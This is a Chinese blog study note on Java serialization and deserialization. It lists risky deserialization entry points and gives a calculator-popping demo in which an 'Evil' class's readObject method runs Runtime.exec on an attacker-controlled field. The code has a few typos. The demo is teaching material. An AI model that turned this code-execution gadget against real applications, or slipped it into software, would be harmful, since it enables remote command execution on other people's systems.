java基础五-序列化和反序列化
序列化和反序列化
序列化:将对象转换为字节序列的过程
反序列化 将字节序列恢复为对象的过程
ObjectOutputStream类的writeObject()方法可以对参数指定的obj对象进行序列化操作,将得到的字节序列写道目标输出流中
ReadObject()方法则是从源输入流中读取字节序列,将其反序列化味对象并返回
实现序列化
实现Serializable接口-创建对象输出流-调用writeObject()方法-关闭对象输出流
使用集合保存对象,可以将结合中的所有对象序列化
反序列化
反序列化已经要强制类型转换,因为在文本文件中是不能提前知道他的类型是什么的 所以要提前将类型放在对象中
List <Studnet> stu= (List<Student>) ofs.readObject();
泛型输出
for循环是新建了一个s对象域遍历stu里面的值并输出
关键代码
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
反序列化漏洞之弹计算器\
#evil 类
package test; import java.io.*; public class Evil implements Serializable { public String cmd; #构造特殊cmd private void readObject(java.io.ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); } }
package test; import java.io.*; public class SerializeAndDeserialize { public static void main(String[] args) throws Exception{ Evil evil = new Evil(); #创建evil类 evil.cmd = " open a Calculator"; byte[] serializeData = serialize(evil); #调用序列化函数 ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("evil.txt"))); oo.writeObject(serializeData); System.out.println("对象序列化成功"); oo.close(); unserialize(serializeData); System.out.println("对象反序列化成功"); } public static byte[] serialize(final Object obj) throws Exception{ #序列化函数 ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); #序列化操作 return btout.toByteArray(); } public static Object unserialize(final byte[] serialized)throws Exception{ ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objln = new ObjectInputStream(btin); return objln.readObject(); #反序列化操作 } }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!